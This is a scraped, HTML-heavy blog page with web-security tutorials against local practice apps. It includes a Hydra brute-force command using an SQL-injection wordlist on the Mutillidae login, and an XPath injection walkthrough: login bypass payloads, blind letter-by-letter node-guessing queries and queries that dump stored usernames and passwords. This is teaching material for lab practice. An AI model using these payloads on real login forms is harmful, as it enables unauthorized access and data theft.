inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp_8WjszRpgkR4ZxCiK4CG2lSHKlkD8qjehvk_F8hvu3VkSzi0EvNFANBXWBwcy_Qj1KinT1JAyV4dt2ir3IUpgO3-puvcUbqXyptTX1dU3orricsELBNmQxMNIJoH4K6eocCKS04MpBF-/s1600/bruteforce.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Bruteforce-Using-Hydra" border="0" height="114" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp_8WjszRpgkR4ZxCiK4CG2lSHKlkD8qjehvk_F8hvu3VkSzi0EvNFANBXWBwcy_Qj1KinT1JAyV4dt2ir3IUpgO3-puvcUbqXyptTX1dU3orricsELBNmQxMNIJoH4K6eocCKS04MpBF-/s320/bruteforce.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Bruteforce-Using-Hydra" width="320" /></a></div> <h3 style="-webkit-box-shadow: rgb(170, 170, 170) 1px 1px 2px; background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; border-bottom-style: solid; border-top-left-radius: 0px; border-top-right-radius: 0px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; color: #333333; font-family: 'Yanone Kaffeesatz', arial, serif; font-size: 20px; font-style: inherit; font-variant: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"> (3)Authentication Bypass Using Sql Injection:- </h3> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> We can inject special database characters or SQL timing attacks into page parameters. We are going to use login page; and inject sql character to  login form.<br style="outline: none medium;" /><br style="outline: none medium;" />You can use <a href="http://tipstrickshack.blogspot.com/2013/01/sql-injection-authentication-bypass.html" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">SQL injection cheat sheet </a>& we will brute-force  using SQL statements.Save it to file.<br style="outline: none medium;" /><br style="outline: none medium;" />hydra -l admin -P /root/sql 127.0.0.1 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrganABxyyiLUW0O4wtjqYxIcvFSKCKtcT_m2x2iox29O9kyjlyIm2t-vWRjdapDnvKPHG5e7sBy_QIdWBcmLzHTfG92RlviPZVHLNwjpa9-YjLDqkXPECpil6nhATALMiNYlVetdXdIND/s1600/SQL.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="SQL-injection_cheat-sheet" border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrganABxyyiLUW0O4wtjqYxIcvFSKCKtcT_m2x2iox29O9kyjlyIm2t-vWRjdapDnvKPHG5e7sBy_QIdWBcmLzHTfG92RlviPZVHLNwjpa9-YjLDqkXPECpil6nhATALMiNYlVetdXdIND/s320/SQL.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="SQL-injection_cheat-sheet" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> </div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> </div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> And we got for valid SQL statements ; with help of it we can bypass admin panel.</div> </div> </div> </div>

BROKEN AUTHENTICATION & SESSION MANAGEMENT IN MUTILLIDAE

Broken Authentication and Session Management is on number 2 in OWASP Top 10 vulnerability list 2013. In mutillidae , it conta...

Read more »

XPATH INJECTION TUTORIAL

<div dir="ltr" style="text-align: left;" trbidi="on"> <h1 class="post-title entry-title" style="background-color: white; border: 0px; color: #454545; font-family: Oswald, arial, serif; font-size: 30px; font-weight: 400; line-height: 1.2; margin: 0px; outline: none medium; padding: 0px 0px 5px; text-transform: uppercase; vertical-align: baseline;"> <br /></h1> <br /><span style="background-color: white; font-family: 'Maven Pro', Arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"></span><br /> <div class="post-body entry-content" style="background-color: white; border: 0px; font-family: 'Maven Pro', Arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px 0px 0.75em; outline: none medium; overflow: hidden; padding: 5px 0px 0px; vertical-align: baseline;"> <div style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 10px 0px; vertical-align: baseline;"> <div style="border: 0px; float: right; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline; width: 250px;"> <ul class="cbtsharethis" style="border: 0px; float: left; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: none outside none; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <li class="facebook" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> <li class="stumble" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> <li class="delicious" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> <li class="digg" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></li> </ul> </div> </div> <div dir="ltr" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;" trbidi="on"> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.<br style="outline: none medium;" /><br style="outline: none medium;" />We are gonna learn using simple example. Download code from <a href="http://www.4shared.com/zip/SleYPtv8/xpath.html" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">here</a> & put it in your local server directory.(Code is created by <a href="https://twitter.com/amolnaik4" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">Amol Naik </a>)<br style="outline: none medium;" /><br style="outline: none medium;" />Sample XML Document which we gonna use:-<br style="outline: none medium;" /><br style="outline: none medium;" /><Employees> <br style="outline: none medium;" /><!-- Employees Database --> <br style="outline: none medium;" />  <Employee ID="1"> <br style="outline: none medium;" />    <FirstName>Johnny</FirstName> <br style="outline: none medium;" />    <LastName>Bravo</LastName> <br style="outline: none medium;" />    <UserName>jbravo</UserName> <br style="outline: none medium;" />    <Password>test123</Password> <br style="outline: none medium;" />    <Type>Admin</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" />  <Employee ID="2"> <br style="outline: none medium;" />    <FirstName>Mark</FirstName> <br style="outline: none medium;" />    <LastName>Brown</LastName> <br style="outline: none medium;" />    <UserName>mbrown</UserName> <br style="outline: none medium;" />    <Password>demopass</Password> <br style="outline: none medium;" />    <Type>User</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" />  <Employee ID="3"> <br style="outline: none medium;" />    <FirstName>William</FirstName> <br style="outline: none medium;" />    <LastName>Gates</LastName> <br style="outline: none medium;" />    <UserName>wgates</UserName> <br style="outline: none medium;" />    <Password>MSRocks!</Password> <br style="outline: none medium;" />    <Type>User</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" />  <Employee ID="4"> <br style="outline: none medium;" />    <FirstName>Chris</FirstName> <br style="outline: none medium;" />    <LastName>Dawes</LastName> <br style="outline: none medium;" />    <UserName>cdawes</UserName> <br style="outline: none medium;" />    <Password>letmein</Password> <br style="outline: none medium;" />    <Type>User</Type> <br style="outline: none medium;" />  </Employee> <br style="outline: none medium;" /></Employees> <br style="outline: none medium;" /></div> <h3 style="-webkit-box-shadow: rgb(170, 170, 170) 1px 1px 2px; background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; border-bottom-style: solid; border-top-left-radius: 0px; border-top-right-radius: 0px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; color: #333333; font-family: 'Yanone Kaffeesatz', arial, serif; font-size: 20px; font-style: inherit; font-variant: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"> Bypass Authentication:-</h3> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />Browse to the login.php page; here we can see simple login form.</div> <br style="outline: none medium;" /><div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv0MPNSgs36j1hmR5sLTO-YBe5h6FL4un5eXPclXjlfcA5t7OxlFjOCGFj8sE8QEXxehLcC922a9F322ulIyl0Ea_gRTaLarFWJMjHtb9Ihm_Dmb3MxYVose0ab1QEwDmZUcRlrgyapUB0/s1600/login.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Bypass Authentication" border="0" height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv0MPNSgs36j1hmR5sLTO-YBe5h6FL4un5eXPclXjlfcA5t7OxlFjOCGFj8sE8QEXxehLcC922a9F322ulIyl0Ea_gRTaLarFWJMjHtb9Ihm_Dmb3MxYVose0ab1QEwDmZUcRlrgyapUB0/s320/login.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Bypass Authentication" width="320" /></a></div> <br style="outline: none medium;" />If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:<br style="outline: none medium;" /><br style="outline: none medium;" />Username: ' or '1' = '1<br style="outline: none medium;" />Password:  ' or '1' = '1<br style="outline: none medium;" /><br style="outline: none medium;" /><div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6JodSiWDj2vL5cbrJDCVSjY5mahhtIqeWKtQLur3SppPVZz9_me5aJo_mpeS4AhBUD1u4QSg85NxY3UA7K7upE06yJry2sY3uznRN-Qtd8qF97bUsjFyWfc2jfv44WcXLKgKvNj0fvwbf/s1600/Bypass-Login.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Bypass Authentication using XPATH injection" border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6JodSiWDj2vL5cbrJDCVSjY5mahhtIqeWKtQLur3SppPVZz9_me5aJo_mpeS4AhBUD1u4QSg85NxY3UA7K7upE06yJry2sY3uznRN-Qtd8qF97bUsjFyWfc2jfv44WcXLKgKvNj0fvwbf/s320/Bypass-Login.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Bypass Authentication using XPATH injection" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> </div> <a href="https://www.blogger.com/null" name="more" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></a>Looks quite familiar, doesn't it? Using these parameters, the query becomes:<br style="outline: none medium;" /><br style="outline: none medium;" />string(//Employee[uname/text()='' or '1' = '1' and passwd/text()='' or '1' = '1']/account/text())<br style="outline: none medium;" /><br style="outline: none medium;" />As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.<br style="outline: none medium;" /><br style="outline: none medium;" /><br style="outline: none medium;" /><h3 style="-webkit-box-shadow: rgb(170, 170, 170) 1px 1px 2px; background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; border-bottom-style: solid; border-top-left-radius: 0px; border-top-right-radius: 0px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; color: #333333; font-family: 'Yanone Kaffeesatz', arial, serif; font-size: 20px; font-style: inherit; font-variant: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"> Blind Xpath Injection:-</h3> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack whose goal is to reconstruct the whole data structure.<br style="outline: none medium;" /><br style="outline: none medium;" />Browse to the search.php page. Enter any number, When you provide number it will display FirstName related to their ID.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmBDooenEDvsP77CCmkE1ymiltCjdf-FIE4N9ZZgpAdMP8f71WVnI-B1yL7REU7tnz2sSRJa_wUWprAdACmlXKmI3do2KP8STSJBRaTgNLmHUs1Cw659_tgRH4LPHXwrdHTmk836_cvP62/s1600/search-first-name.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Blind XPATH Injection" border="0" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmBDooenEDvsP77CCmkE1ymiltCjdf-FIE4N9ZZgpAdMP8f71WVnI-B1yL7REU7tnz2sSRJa_wUWprAdACmlXKmI3do2KP8STSJBRaTgNLmHUs1Cw659_tgRH4LPHXwrdHTmk836_cvP62/s320/search-first-name.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind XPATH Injection" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> Enter ' or '1' = '1 in search , & you will get all FirstName regardless of any ID(Number).</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuDJofcRW4sXK1yspfa51enVddxe868_G2OTCGTzYW5g7Xhmh8QYWdeQw541Xr_uiR4JcTb4FK49jYhmPN4jD24Lng1G-o-Q_HEKrxYCU0fDUbsCtEjOBQly1KV-F1z2_ONCwZA97AGuit/s1600/Bypass.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Blind XPATH Injection" border="0" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuDJofcRW4sXK1yspfa51enVddxe868_G2OTCGTzYW5g7Xhmh8QYWdeQw541Xr_uiR4JcTb4FK49jYhmPN4jD24Lng1G-o-Q_HEKrxYCU0fDUbsCtEjOBQly1KV-F1z2_ONCwZA97AGuit/s320/Bypass.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind XPATH Injection" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> In blind Xpath injection we have to provide special crafted query to application, if query is true we will get result otherwise we will not get any result.Till now We don`t know about any parent or child node of XML document.</div> <h3 style="-webkit-box-shadow: rgb(170, 170, 170) 1px 1px 2px; background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; border-bottom-style: solid; border-top-left-radius: 0px; border-top-right-radius: 0px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; color: #333333; font-family: 'Yanone Kaffeesatz', arial, serif; font-size: 20px; font-style: inherit; font-variant: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"> Guessing Of Parent Node:-</h3> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />Supply following query to application & observe result.<br style="outline: none medium;" /><br style="outline: none medium;" />' or substring(name(parent::*[position()=1]),1,1)='a<br style="outline: none medium;" /><br style="outline: none medium;" />Nothing append , we don`t get FirstName of users.<span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">It means first letter of parent node is not "a"</span>. Now supply following query<br style="outline: none medium;" /><br style="outline: none medium;" />' or substring(name(parent::*[position()=1]),1,1)='E</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLWeXgCHl8QhuYVj_AJtGHOeMwxulnN5igbJUVJCWAbaQo-dJiTHSwwa0UpHFOtXWX6dZQ3lsViuis0GcBn4ZzM6kmeasZpamzNtoRPgKqFxeV-Y5-drAPkiPk8BWprfLySapnc-10hVCO/s1600/Blind-xpath.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Blind XPATH Injection" border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLWeXgCHl8QhuYVj_AJtGHOeMwxulnN5igbJUVJCWAbaQo-dJiTHSwwa0UpHFOtXWX6dZQ3lsViuis0GcBn4ZzM6kmeasZpamzNtoRPgKqFxeV-Y5-drAPkiPk8BWprfLySapnc-10hVCO/s320/Blind-xpath.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="Blind XPATH Injection" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> You get result , <span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">It means first letter of parent node is "E"</span></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />To guess second letter of parent node supply following query<br style="outline: none medium;" /><br style="outline: none medium;" />' or substring(name(parent::*[position()=1]),2,1)='m<br style="outline: none medium;" /><br style="outline: none medium;" />Following the same procedure, we can extract the full name of the parent node, which was found to be '<span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Employee</span>'.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />We can also get child node. Browse to the xpath.php page & enter following query.<br style="outline: none medium;" /><br style="outline: none medium;" />//Employee[position()=3]/child::node()[position()=4]/text()</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg60LF0K8JOrHjmVyu3sAZM6E9ZSRMuzqQjevWCsvjIehOg9z-awcLLB4F81CzoYZtoJIA09xnU7FbvCbFqmKxp6us5YfO5myIteI2sK3yv10cGP_5KwnTkU20acxbWcyOSU4eWSOveiuq2/s1600/Retriev+DATA.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="get-child-node" border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg60LF0K8JOrHjmVyu3sAZM6E9ZSRMuzqQjevWCsvjIehOg9z-awcLLB4F81CzoYZtoJIA09xnU7FbvCbFqmKxp6us5YfO5myIteI2sK3yv10cGP_5KwnTkU20acxbWcyOSU4eWSOveiuq2/s320/Retriev+DATA.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="get-child-node" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> You got output from parent node Employee id 3 & child node whose position is 2.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />To get whole document put following query.<br style="outline: none medium;" /><br style="outline: none medium;" />//Employee</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrAQK5pbrl6TL3Bi2pad__nrgh0RHM6oqVVa_MO6-UU-A1G8idSqi4xy5GT3MmjpmQNn4xKZsvS5_QuofCAVObPiNNPvLea0BmfZKUcjvpDmO-bKIVHKF32vo5rAjyvhHQFnCbDYOgvkc8/s1600/GET-DATA.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Blind Xpath injection" border="0" height="192" 